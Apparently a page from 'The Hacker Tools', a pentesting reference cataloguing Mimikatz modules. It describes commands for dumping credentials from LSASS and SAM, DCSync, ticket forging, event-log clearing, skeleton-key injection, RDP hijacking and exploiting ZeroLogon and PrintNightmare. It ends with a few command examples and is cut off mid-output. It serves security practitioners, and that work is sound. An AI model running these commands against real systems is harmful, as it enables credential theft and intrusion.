# Introduction ![](/files/-MiRYueAsqQ75rhlXDFf) {% hint style="danger" %} **This project is part of** [**The Hacker Recipes**](https://www.thehacker.recipes) **and is a work in progress**. I started it in 2021 and have absolutely no idea when this could be finished (will it ever be?). The Hacker Tools is focused on documenting and giving tips & tricks on common infosec tools The 🛠️ emoji is used where work has to be done. {% endhint %} This project is aimed at providing technical guides on various hacking tools. Keep in mind that these guides are maintained by non-omniscient security enthusiasts in their spare time. You will probably find things missing or mistakes. :mega: Please feel free to contribute, give feedback/suggestions or reach out to me on Twitter ([@\_nwodtuhs](https://twitter.com/_nwodtuhs)), Discord (Shutdown#2539), IRL or whatever you feel appropriate. {% hint style="success" %} Almost every tool mentioned in theses notes is installed, and sometimes pre-configured, in [Exegol](https://github.com/ShutdownRepo/Exegol), another project of mine of a docker environment ready to hack on day-to-day engagements. It's not much but I use it on all my engagements. Feel free to use it, to contribute, to give feedback etc. {% endhint %} # Mimikatz 🥝 # General 🛠️ {% hint style="danger" %} Work in progress {% endhint %} At the time of writing, 17th December 2021, only the [modules](/mimikatz/modules) are documented. In a near future, this part will feature information regarding AV bypass, "installation/setup", compilation, and other misc and general information to help people understand and use Mimikatz. # Modules ## Modules * [`crypto`](#crypto): This modules deals with the Microsoft Crypto Magic world. * [`dpapi`](#dpapi): The Data Protection Application Programming Interface module. Consider this as an opsec safe option (for now) for getting credentials. * [`event`](#event): this module deals with the Windows Event logs (to clear footprints after compromise). * [`kerberos`](#kerberos): This module deals with the Greek Mythology's three headed Hades dog without the help of Hercules. * [`lsadump`](#lsadump): this module contains some well known functionalities of Mimikatz such as DCSync, DCShadow, dumping of SAM and LSA Secrets. * [`misc`](#misc): The miscellaneous module contains functionalities such as PetitPotam, PrintNightmare RPC Print Spooler and others. * [`net`](#net): some functionalities in this module are similar to the Windows **net** commands. Enumerating sessions and servers configured with different types of Kerberos delegations is also included. * [`privilege`](#privilege): This module deals with the Windows privileges. It includes the favorite debug privilege which holds the keys to LSASS. * [`process`](#process): This module deal with Windows processes. It can also be used for process injection and parent process spoofing. * [`rpc`](#rpc): The Remote Procedure Call module of Mimikatz. It can also be used for controlling Mimikatz remotely. * [`sekurlsa`](#sekurlsa): The most beloved module of Mimikatz. Even Benjamin has mentioned in the past that one day people will discover that Mimikatz is more than [`sekurlsa::logonpasswords`](/mimikatz/modules/sekurlsa/logonpasswords). Hope we made some effort on this Benjamin. * [`service`](#service): This module can interact with Windows services plus installing the `mimikatzsvc` service. * [`sid`](#sid): This module deals with the Security Identifier. * [`standard`](#standard): This module contains some general functionalities which are not related to exploitation. * [`token`](#token): This module deals with the Windows tokens (who does not really like elevating to `NT AUTHORITY\ SYSTEM`). * [`ts`](#ts): This module deals with the Terminal Services. It can be an alternative for getting clear-text passwords. * [`vault`](#vault): This module dumps passwords saved in the Windows Vault. ## Commands ### crypto * [`crypto::capi`](/mimikatz/modules/crypto/capi) patches CryptoAPI layer for easy export (Experimental :warning:) * [`crypto::certificates`](/mimikatz/modules/crypto/certificates) lists or exports certificates * [`crypto::certtohw`](/mimikatz/modules/crypto/certtohw) tries to export a software CA to a crypto (virtual) hardware * [`crypto::cng`](/mimikatz/modules/crypto/cng) patches the CNG (Cryptography API: Next Generation) service for easy export (Experimental :warning:) * [`crypto::extract`](/mimikatz/modules/crypto/extract) extracts keys from the CAPI RSA/AES provider (Experimental :warning:) * [`crypto::hash`](/mimikatz/modules/crypto/hash) hashes a password in the main formats (NT, DCC1, DCC2, LM, MD5, SHA1, SHA2) with the username being an optional value * [`crypto::keys`](/mimikatz/modules/crypto/keys) lists or exports key containers * [`crypto::providers`](/mimikatz/modules/crypto/providers) lists cryptographic providers * [`crypto::sc`](/mimikatz/modules/crypto/sc) lists smartcard/token reader(s) on, or deported to, the system. When the CSP (Cryptographic Service Provider) is available, it tries to list keys on the smartcard * [`crypto::scauth`](/mimikatz/modules/crypto/scauth) it creates a authentication certificate (smartcard like) from a CA * [`crypto::stores`](/mimikatz/modules/crypto/stores) lists cryptographic stores * [`crypto::system`](/mimikatz/modules/crypto/system) it describes a Windows System Certificate * [`crypto::tpminfo`](/mimikatz/modules/crypto/tpminfo) displays information for the Microsoft's TPM Platform Crypto Provider ### dpapi * [`dpapi::blob`](/mimikatz/modules/dpapi/blob) describes a DPAPI blob and unprotects/decrypts it with API or Masterkey * [`dpapi::cache`](/mimikatz/modules/dpapi/cache) displays the credential cache of the DPAPI module * [`dpapi::capi`](/mimikatz/modules/dpapi/capi) decrypts a CryptoAPI private key file * [`dpapi::chrome`](/mimikatz/modules/dpapi/chrome) dumps stored credentials and cookies from Chrome * [`dpapi::cloudapkd`](/mimikatz/modules/dpapi/cloudapkd) is undocumented at the moment * [`dpapi::cloudapreg`](/mimikatz/modules/dpapi/cloudapreg) dumps azure credentials by querying the following registry location * [`dpapi::cng`](/mimikatz/modules/dpapi/cng) decrypts a given CNG private key file * [`dpapi::create`](/mimikatz/modules/dpapi/create) creates a DPAPI Masterkey file from raw key and metadata * [`dpapi::cred`](/mimikatz/modules/dpapi/cred) decrypts DPAPI saved credential such as RDP, Scheduled tasks, etc (cf. [dumping DPAPI secrets](https://www.thehacker.recipes/ad-ds/movement/credentials/dumping/dpapi-protected-secrets)) * [`dpapi::credhist`](/mimikatz/modules/dpapi/credhist) describes a Credhist file * [`dpapi::luna`](/mimikatz/modules/dpapi/luna) decrypts Safenet LunaHSM KSP * [`dpapi::masterkey`](/mimikatz/modules/dpapi/masterkey) describes a Masterkey file and unprotects each Masterkey (key depending). In other words, it can decrypt and request masterkeys from active directory * [`dpapi::protect`](/mimikatz/modules/dpapi/protect) protects data via a DPAPI call * [`dpapi::ps`](/mimikatz/modules/dpapi/ps) decrypts PowerShell credentials (PSCredentials or SecureString) * [`dpapi::rdg`](/mimikatz/modules/dpapi/rdg) decrypts Remote Desktop Gateway saved passwords * [`dpapi::sccm`](/mimikatz/modules/dpapi/sccm) is used to decrypt saved SCCM credentials * [`dpapi::ssh`](/mimikatz/modules/dpapi/ssh) extracts OpenSSH private keys * [`dpapi::tpm`](/mimikatz/modules/dpapi/tpm) decrypts TPM PCP key file ([Microsoft's TPM Platform Crypto Provider](https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/setting-up-tpm-protected-certificates-using-a-microsoft/ba-p/1129055) (PCP)) * [`dpapi::vault`](/mimikatz/modules/dpapi/vault) decrypts DPAPI vault credentials from the [Credential Store](https://support.microsoft.com/en-us/windows/accessing-credential-manager-1b5c916a-6a16-889f-8581-fc16e8165ac0) * [`dpapi::wifi`](/mimikatz/modules/dpapi/wifi) decrypts saved Wi-Fi passwords * [`dpapi::wwman`](/mimikatz/modules/dpapi/wwan) decrypts Wwan credentials ### event * [`event::clear`](/mimikatz/modules/event/clear) clears a specified event log * [`event::drop`](/mimikatz/modules/event/drop) patches event services to avoid new events ( :warning: experimental) ### kerberos * [`kerberos::ask`](/mimikatz/modules/kerberos/ask) can be used to obtain Service Tickets. The Windows native command is [`klist get`](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/klist) * [`kerberos::clist`](/mimikatz/modules/kerberos/clist) lists tickets in [MIT](https://web.mit.edu/kerberos/)/[Heimdall](https://github.com/heimdal/heimdal) ccache format. It can be useful with other tools (i.e. ones that support [Pass the Cache](https://www.thehacker.recipes/ad/movement/kerberos/ptc)) * [`kerberos::golden`](/mimikatz/modules/kerberos/golden) can be used to [forge golden and silver tickets](https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets). It can also be used for forging inter-realm trust keys * [`kerberos::hash`](/mimikatz/modules/kerberos/hash) computes the different types of Kerberos keys for a given password * [`kerberos::list`](/mimikatz/modules/kerberos/list) has a similar functionality to [`klist`](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/klist) command without requiring elevated privileges. Unlike [`sekurlsa::tickets`](/mimikatz/modules/sekurlsa/tickets), this module does not interact with LSASS * [`kerberos::ptc`](/mimikatz/modules/kerberos/ptc) can be used to [pass the cache](https://www.thehacker.recipes/ad/movement/kerberos/ptc). This is similar to [`kerberos::ptt`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/ptt.md) that does pass the ticket but is different in the sense that the ticket used is a `.ccache` ticket instead of a `.kirbi` one * [`kerberos::ptt`](/mimikatz/modules/kerberos/ptt) is used for [passing the ticket](https://www.thehacker.recipes/ad/movement/kerberos/ptt) by injecting one or may Kerberos tickets in the current session. The ticket can either be a TGT (Ticket-Granting Ticket) or an ST (Service Ticket) * [`kerberos::purge`](/mimikatz/modules/kerberos/purge) purges all kerberos tickets similar to [`klist purge`](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/klist) * [`kerberos::tgt`](/mimikatz/modules/kerberos/tgt) retrieves a TGT (Ticket-Granting Ticket) for the current user ### lsadump * [`lsadump::backupkeys`](/mimikatz/modules/lsadump/backupkeys) dumps the DPAPI backup keys from the Domain Controller (cf. [dumping DPAPI secrets](https://www.thehacker.recipes/ad/movement/credentials/dumping/dpapi-protected-secrets)) * [`lsadump::cache`](/mimikatz/modules/lsadump/cache) can be used to enumerate Domain Cached Credentials from registry. It does so by acquiring the `SysKey` to decrypt `NL$KM` (binary protected value) and then `MSCache(v1/v2)` * [`lsadump::changentlm`](/mimikatz/modules/lsadump/changentlm) can be used to change the password of a user * [`lsadump::dcshadow`](/mimikatz/modules/lsadump/dcshadow) TODO * [`lsadump::dcsync`](/mimikatz/modules/lsadump/dcsync) can be used to do a [DCSync](https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync) and retrieve domain secrets. This command uses the Directory Replication Service Remote protocol ([MS-DRSR](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47?redirectedfrom=MSDN)) to request from a domain controller to synchronize a specified entry * [`lsadump::lsa`](/mimikatz/modules/lsadump/lsa) extracts hashes from memory by asking the LSA server. The `patch` or `inject` takes place on the fly * [`lsadump::mbc`](/mimikatz/modules/lsadump/mbc) dumps the Machine Bound Certificate. Devices on which Credential Guard is enabled are using Machine Bound Certificates * [`lsadump::netsync`](/mimikatz/modules/lsadump/netsync) can be used to act as a Domain Controller on a target by doing a [Silver Ticket](https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets#silver-ticket). It then leverages the [Netlogon](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/ff8f970f-3e37-40f7-bd4b-af7336e4792f) to request the RC4 key (i.e. NT hash) of the target computer account * [`lsadump::packages`](/mimikatz/modules/lsadump/packages) lists the available Windows authentication mechanisms * [`lsadump::postzerologon`](/mimikatz/modules/lsadump/postzerologon) is a procedure to update AD domain password and its local stored password remotely mimic `netdom resetpwd` * [`lsadump::RpData`](/mimikatz/modules/lsadump/rpdata) can retrieve private data (*at the time of writing, Nov 1st 2021, we have no idea what this does or refers to* :man\_shrugging:) * [`lsadump::sam`](/mimikatz/modules/lsadump/sam) dumps the local Security Account Manager (SAM) NT hashes (cf. [SAM secrets dump](https://www.thehacker.recipes/ad/movement/credentials/dumping/sam-and-lsa-secrets)) * [`lsadump::secrets`](/mimikatz/modules/lsadump/secrets) can be used to [dump LSA secrets](https://www.thehacker.recipes/ad/movement/credentials/dumping/sam-and-lsa-secrets) from the registries. It retrieves the `SysKey` to decrypt `Secrets` entries * [`lsadump::setntlm`](/mimikatz/modules/lsadump/setntlm) can be used to perform a password reset without knowing the user's current password. It can be useful during an active directory [Access Control (ACL) abuse](https://www.thehacker.recipes/ad/movement/access-controls) scenario * [`lsadump::trust`](/mimikatz/modules/lsadump/trust) can be used for dumping the forest trust keys. Forest trust keys can be leveraged for forging inter-realm trust tickets. Since most of the EDRs are paying attention to the KRBTGT hash, this is a stealthy way to compromise forest trusts * [`lsadump::zerologon`](/mimikatz/modules/lsadump/zerologon) detects and exploits the [ZeroLogon](https://www.thehacker.recipes/ad/movement/netlogon/zerologon) vulnerability ### misc * [`misc::aadcookie`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/misc/aadcookie.md) can be used to dump the Azure Panel's session cookie from `login.microsoftonline.com` * [`misc::clip`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/misc/clip.md) monitors clipboard. `CTRL+C` stops the monitoring * [`misc::cmd`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/misc/cmd.md) launches the command prompt * [`misc::compress`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/misc/compress.md) performs a self compression of mimikatz * [`misc::detours`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/misc/detours.md) is experimental and it tries to enumerate all modules with [Detours-like hooks](https://www.codeproject.com/Articles/30140/API-Hooking-with-MS-Detours) * [`misc::efs`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/misc/efs.md) is Mimikatz's implementation of the [MS-EFSR abuse (PetitPotam)](https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/ms-efsr), an authentication coercion technique * [`misc::lock`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/misc/lock.md) locks the screen. It can come in handy with [`misc::memssp`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/memssp.md) * [`misc::memssp`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/misc/memssp.md) patches LSASS by injecting a new Security Support Provider (a DLL is registered) * [`misc::mflt`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/misc/mflt.md) identifies Windows minifilters inside mimikatz, without using **fltmc.exe**. It can also assist in fingerprinting security products, by altitude too (Gathers details on loaded drivers, including driver altitude) * [`misc::ncroutemon`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/misc/ncroutemon.md) displays Juniper network connect (without route monitoring) * [`misc::ngcsign`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/misc/ngcsign.md) can be used to dump the NGC key (Windows Hello keys) signed with the symmetric pop key. * [`misc::printnightmare`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/misc/printnightmare.md) can be used to exploit the [PrintNightMare](https://adamsvoboda.net/breaking-down-printnightmare-cve-2021-1675/) vulnerability in both \[[MS-RPRN RpcAddPrinterDriverEx](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b)] and \[[MS-PAR AddPrinterDriverEx](https://docs.microsoft.com/en-us/windows/win32/printdocs/addprinterdriverex)]. The bug was discovered by Zhiniang Peng ([@edwardzpeng](https://twitter.com/edwardzpeng?lang=en)) & Xuefeng Li ([@lxf02942370](https://twitter.com/lxf02942370?lang=en)) * [`misc::regedit`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/misc/regedit.md) launches the registry editor * [`misc::sccm`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/misc/sccm.md) decrypts the password field in the `SC_UserAccount` table in the SCCM database * [`misc::shadowcopies`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/misc/shadowcopies.md) is used to list the available shadow copies on the system * [`misc::skeleton`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/misc/skeleton.md) injects a "[Skeleton Key](https://www.thehacker.recipes/ad/persistence/skeleton-key)" into the LSASS process on the domain controller * [`misc::spooler`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/misc/spooler.md) is Mimikat's implementation of the [MS-RPRN abuse (PrinterBug)](https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/ms-rprn), an authentication coercion technique * [`misc::taskmgr`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/misc/taskmgr.md) launches the task manager * [`misc::wp`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/misc/wp.md) sets up a wallpaper * [`misc::xor`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/misc/xor.md) performs XOR decoding/encoding on a provided file with `0x42` default key ### net * [`net::alias`](/mimikatz/modules/net/alias) displays more information about the local group memberships including Remote Desktop Users, Distributed COM Users, etc * [`net::deleg`](/mimikatz/modules/net/deleg) checks for the following types of [Kerberos delegations](https://www.thehacker.recipes/ad-ds/movement/kerberos/delegations) * [`net::group`](/mimikatz/modules/net/group) displays the local groups * [`net::if`](/mimikatz/modules/net/if) displays the available local IP addresses and the hostname * [`net::serverinfo`](/mimikatz/modules/net/serverinfo) displays information about the logged in server * [`net::session`](/mimikatz/modules/net/session) displays the active sessions through [NetSessionEnum()](https://web.archive.org/web/20201201223201/https://docs.microsoft.com/en-us/windows/win32/api/lmshare/nf-lmshare-netsessionenum) Win32 API function * [`net::share`](/mimikatz/modules/net/share) displays the available shares * [`net::stats`](/mimikatz/modules/net/stats) displays when the target was booted * [`net::tod`](/mimikatz/modules/net/tod) displays the current time * [`net::trust`](/mimikatz/modules/net/trust) displays information for the active directory forest trust(s) * [`net::user`](/mimikatz/modules/net/user) displays the local users * [`net::wsession`](/mimikatz/modules/net/wsession) displays the active sessions through [NetWkstaUserEnum()](https://web.archive.org/web/20190909155552/https://docs.microsoft.com/en-us/windows/win32/api/lmwksta/nf-lmwksta-netwkstauserenum) Win32 API function ### privilege * [`privilege::backup`](/mimikatz/modules/privilege/backup) requests the backup privilege (`SeBackupPrivilege`) * [`privilege::debug`](/mimikatz/modules/privilege/debug) requests the debug privilege (`SeDebugPrivilege`) * [`privilege::driver`](/mimikatz/modules/privilege/driver) requests the load driver privilege (`SeLoadDriverPrivilege`) * [`privilege::id`](/mimikatz/modules/privilege/id) requests a privilege by its `id` * [`privilege::name`](/mimikatz/modules/privilege/name) requests a privilege by its name * [`privilege::restore`](/mimikatz/modules/privilege/restore) requests the restore privilege (`SeRestorePrivilege`) * [`privilege::security`](/mimikatz/modules/privilege/security) requests the security privilege (`SeSecurityPrivilege`) * [`privilege::sysenv`](/mimikatz/modules/privilege/sysenv) requests the system environment privilege (`SeSystemEnvironmentPrivilege`) * [`privilege::tcb`](/mimikatz/modules/privilege/tcb) requests the tcb privilege (`SeTcbPrivilege`) ### process * [`process::exports`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/process/exports.md) lists all the exported functions from the DLLs each running process is using. If a\*\* \*\*`/pid` is not specified, then exports for `mimikatz.exe` will be displayed * [`process::imports`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/process/imports.md) lists all the imported functions from the DLLs each running process is using. If a\*\* \*\*`/pid` is not specified, then imports for `mimikatz.exe` will be displayed * [`process::list`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/process/list.md) lists all the running processes. It uses the [NtQuerySystemInformation](https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation) Windows Native API function * [`process::resume`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/process/resume.md) resumes a suspended process by using the [NtResumeProcess](https://www.geoffchappell.com/studies/windows/win32/ntdll/api/native.htm) Windows Native API function * [`process::run`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/process/run.md) creates a process by using the [CreateProcessAsUser](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera) Win32 API function. The [CreateEnvironmentBlock](https://docs.microsoft.com/en-us/windows/win32/api/userenv/nf-userenv-createenvironmentblock) is also utilized * [`process::runp`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/process/runp.md) runs a subprocess under a parent process (Default parent process is `LSASS.exe`). It can also be used for lateral movement and process spoofing * [`process::start`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/process/start.md) starts a process by using the [CreateProcess](https://web.archive.org/web/20170713150625/https://msdn.microsoft.com/en-us/library/windows/desktop/ms682425.aspx) Win32 API function. The `PID` of the process is also displayed * [`process::stop`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/process/stop.md) terminates a process by using the [NtTerminateProcess](https://www.geoffchappell.com/studies/windows/win32/ntdll/api/native.htm) Windows Native API function. The Win32 API equal one is [TerminateProcess](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-terminateprocess) * [`process::suspend`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/modules/process/suspend.md) suspends a process by using the [NtSuspendProcess](https://ntopcode.wordpress.com/tag/ntsuspendprocess/) Windows Native API function ### rpc * [`rpc::close`](/mimikatz/modules/rpc/close) closes remote RPC sessions * [`rpc::connect`](/mimikatz/modules/rpc/connect) connects to an RPC endpoint * [`rpc::enum`](/mimikatz/modules/rpc/enum) enumerates RPC endpoints on a system * [`rpc::server`](/mimikatz/modules/rpc/server) starts an RPC server ### sekurlsa * [`sekurlsa::backupkeys`](/mimikatz/modules/sekurlsa/backupkeys) lists the preferred Backup Master keys * [`sekurlsa::bootkey`](/mimikatz/modules/sekurlsa/bootkey) sets the SecureKernel Boot Key and attempts to decrypt LSA Isolated credentials * [`sekurlsa::cloudap`](/mimikatz/modules/sekurlsa/cloudap) lists Azure (Primary Refresh Token) credentials based on the following research: [Digging further into the Primary Refresh Token](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). [According to Benjamin](https://twitter.com/gentilkiwi/status/1291102498099527682?s=20): * [`sekurlsa::credman`](/mimikatz/modules/sekurlsa/credman) lists Credentials Manager by targeting the Microsoft Local Security Authority Server DLL ([lsasrv.dll](https://windows10dll.nirsoft.net/lsasrv_dll.html)) * [`sekurlsa::dpapi`](/mimikatz/modules/sekurlsa/dpapi) lists DPAPI cached masterkeys * [`sekurlsa::dpapisystem`](/mimikatz/modules/sekurlsa/dpapisystem) lists the `DPAPI_SYSTEM` secret key * [`sekurlsa::ekeys`](/mimikatz/modules/sekurlsa/ekeys) lists Kerberos encryption keys * [`sekurlsa::kerberos`](/mimikatz/modules/sekurlsa/kerberos) lists Kerberos credentials * [`sekurlsa::krbtgt`](/mimikatz/modules/sekurlsa/krbtgt) retrieves the krbtgt RC4 (i.e. NT hash), AES128 and AES256 hashes * [`sekurlsa::livessp`](/mimikatz/modules/sekurlsa/livessp) lists LiveSSP credentials. According to Microsoft, the LiveSSP provider is included by default in Windows 8 and later and is included in the Office 365 Sign-in Assistant * [`sekurlsa::logonpasswords`](/mimikatz/modules/sekurlsa/logonpasswords) lists all available provider credentials. This usually shows recently logged on user and computer credentials * [`sekurlsa::minidump`](/mimikatz/modules/sekurlsa/minidump) can be used against a dumped LSASS process file and it does not require administrative privileges. It's considered as an "offline" dump * [`sekurlsa::msv`](/mimikatz/modules/sekurlsa/msv) dumps and lists the NT hash (and other secrets) by targeting the [MSV1\_0 Authentication Package](https://docs.microsoft.com/en-us/windows/win32/secauthn/msv1-0-authentication-package) * [`sekurlsa::process`](/mimikatz/modules/sekurlsa/process) switches (or reinits) to LSASS process context. It can be used after [`sekurlsa::minidump`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/modules/minidump.md) * [`sekurlsa::pth`](/mimikatz/modules/sekurlsa/pth) performs [Pass-the-Hash](https://www.thehacker.recipes/ad/movement/ntlm/pth), [Pass-the-Key](https://www.thehacker.recipes/ad/movement/kerberos/ptk) and [Over-Pass-the-Hash](https://www.thehacker.recipes/ad/movement/kerberos/opth). Upon successful authentication, a program is run (n.b. defaulted to `cme.exe`) * [`sekurlsa::ssp`](/mimikatz/modules/sekurlsa/ssp) lists [Security Support Provider](https://docs.microsoft.com/en-us/windows-server/security/windows-authentication/security-support-provider-interface-architecture) (SSP) credentials * [`sekurlsa::tickets`](/mimikatz/modules/sekurlsa/tickets) lists Kerberos tickets belonging to all authenticated users on the target server/workstation. Unlike [`kerberos::list`](https://github.com/ShutdownRepo/The-Hacker-Tools/blob/master/mimikatz/process/list.md), sekurlsa uses memory reading and is not subject to key export restrictions. Sekurlsa can also access tickets of others sessions (users) * [`sekurlsa::trust`](/mimikatz/modules/sekurlsa/trust) retrieves the forest trust keys * [`sekurlsa::tspkg`](/mimikatz/modules/sekurlsa/tspkg) lists TsPkg credentials. This credentials provider is used for Terminal Server Authentication * [`sekurlsa::wdigest`](/mimikatz/modules/sekurlsa/wdigest) lists WDigest credentials. According to Microsoft, [WDigest.dll](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778868\(v%3dws.10\)) was introduced in the Windows XP operating system ### service * [`service::-`](/mimikatz/modules/service/undefined) removes the `mimikatzsvc` service * [`service::+`](/mimikatz/modules/service/+) installs the `mimikatzsvc` service by issuing `rpc::server service::me exit` * [`service::preshutdown`](/mimikatz/modules/service/preshutdown) pre-shuts down a specified service by sending a `SERVICE_CONTROL_PRESHUTDOWN` signal * [`service::remove`](/mimikatz/modules/service/remove) removes the specified service (It must be used with caution) * [`service::resume`](/mimikatz/modules/service/resume) resumes a specified service, after successful suspending, by sending a `SERVICE_CONTROL_CONTINUE` signal * [`service::shutdown`](/mimikatz/modules/service/shutdown) shuts down a specified service by sending a `SERVICE_CONTROL_SHUTDOWN` signal * [`service::start`](/mimikatz/modules/service/start) starts a service * [`service::stop`](/mimikatz/modules/service/stop) stops a specified service by sending a `SERVICE_CONTROL_STOP` signal * [`service::suspend`](/mimikatz/modules/service/suspend) suspends the specified service. It sends a `SERVICE_CONTROL_PAUSE` signal ### sid * [`sid::add`](/mimikatz/modules/sid/add) adds a SID to `sIDHistory` of an object * [`sid::clear`](/mimikatz/modules/sid/clear) clears the `sIDHistory` of a target object * [`sid::lookup`](/mimikatz/modules/sid/lookup) looks up an object by its SID or name * [`sid::modify`](/mimikatz/modules/sid/modify) modifies an object's SID * [`sid::patch`](/mimikatz/modules/sid/patch) patchs the NTDS (NT Directory Services). It's useful when running [`id::modify`](/mimikatz/modules/sid/modify) or [`sid::add`](/mimikatz/modules/sid/add) * [`sid::query`](/mimikatz/modules/sid/query) queries an object by its SID or name ### standard * [`standard::answer`](/mimikatz/modules/standard/answer) or `answer` provides an answer to [The Ultimate Question of Life, the Universe, and Everything!](https://hitchhikers.fandom.com/wiki/Ultimate_Question) :stars: * [`standard::base64`](/mimikatz/modules/standard/base64) or `base64` switches file input/output to base64 * [`standard::cd`](/mimikatz/modules/standard/cd) or `cd` can change or display the current directory. The changed directory is used for saving files * [`standard::cls`](/mimikatz/modules/standard/cls) or `cls` clears the screen * [`standard::coffee`](/mimikatz/modules/standard/coffee) or `coffee` is the most important command of all * [`standard::exit`](/mimikatz/modules/standard/exit) or `exit` quits Mimikatz after clearing routines * [`standard::hostname`](/mimikatz/modules/standard/hostname) or `hostname` displays system local hostname * [`standard::localtime`](/mimikatz/modules/standard/localtime) or `localtime` displays system local date and time * [`standard::log`](/mimikatz/modules/standard/log) or `log` logs mimikatz input/output to a file * [`standard::sleep`](/mimikatz/modules/standard/sleep) or `sleep` make Mimikatz sleep an amount of milliseconds * [`standard::version`](/mimikatz/modules/standard/version) or `version` displays the version in use of Mimikatz ### token * [`token::elevate`](/mimikatz/modules/token/elevate) can be used to impersonate a token. By default it will elevate permissions to `NT AUTHORITY\SYSTEM` * [`token::list`](/mimikatz/modules/token/list) lists all tokens on the system * [`token::revert`](/mimikatz/modules/token/revert) reverts to the previous token * [`token::run`](/mimikatz/modules/token/run) executes a process with its token * [`token::whoami`](/mimikatz/modules/token/whoami) displays the current token ### ts * [`ts::logonpasswords`](/mimikatz/modules/ts/logonpasswords) extracts clear text credentials from RDP running sessions (server side) * [`ts::mstsc`](/mimikatz/modules/ts/mstsc) extracts cleartext credentials from the mstsc process (client side) * [`ts::multirdp`](/mimikatz/modules/ts/multirdp) enables multiple RDP connections on the target server * [`ts::remote`](/mimikatz/modules/ts/remote) performs RDP takeover/hijacking of active sessions * [`ts::sessions`](/mimikatz/modules/ts/sessions) lists the current RDP sessions. It comes in handy for RDP hijacking ### vault * [`vault::cred`](/mimikatz/modules/vault/cred) enumerates vault credentials * [`vault::list`](/mimikatz/modules/vault/list) lists saved credentials in the Windows Vault such as scheduled tasks, RDP, Internet Explorer for the current user # crypto # capi `crypto::capi` patches CryptoAPI layer for easy export (Experimental :warning:). This patch modifies a `CryptoAPI` function, in the `mimikatz` process, in order to make unexportable keys, exportable (no specific right other than access to the private key is needed). It can be used with [`crypto::certificates`](/mimikatz/modules/crypto/certificates) and [`crypto::keys`](/mimikatz/modules/crypto/keys). This is only useful when the keys provider is one of: * `Microsoft Base Cryptographic Provider v1.0` * `Microsoft Enhanced Cryptographic Provider v1.0` * `Microsoft Enhanced RSA and AES Cryptographic Provider` * `Microsoft RSA SChannel Cryptographic Provider` * `Microsoft Strong Cryptographic Provider` ``` mimikatz # crypto::capi Local CryptoAPI patched ``` # certificates `crypto::certificates` lists or exports certificates. It has the following command line arguments: * `/systemstore`: the system store that must be used (default: `CERT_SYSTEM_STORE_CURRENT_USER`) * `/store`: the store that must be used to list/export certificates (default: `My`) - full list with `crypto::stores` * `/export`: export all certificates to files (public parts in `DER`, private parts in `PFX` files - password protected with: `mimikatz`) * `/silent`: if user interaction is required, then abort * `/nokey`: do not try to interact with the private key ``` mimikatz # crypto::capi Local CryptoAPI patched mimikatz # privilege::debug Privilege '20' OK mimikatz # crypto::cng "KeyIso" service patched mimikatz # crypto::certificates /systemstore:local_machine /store:my /export * System Store : 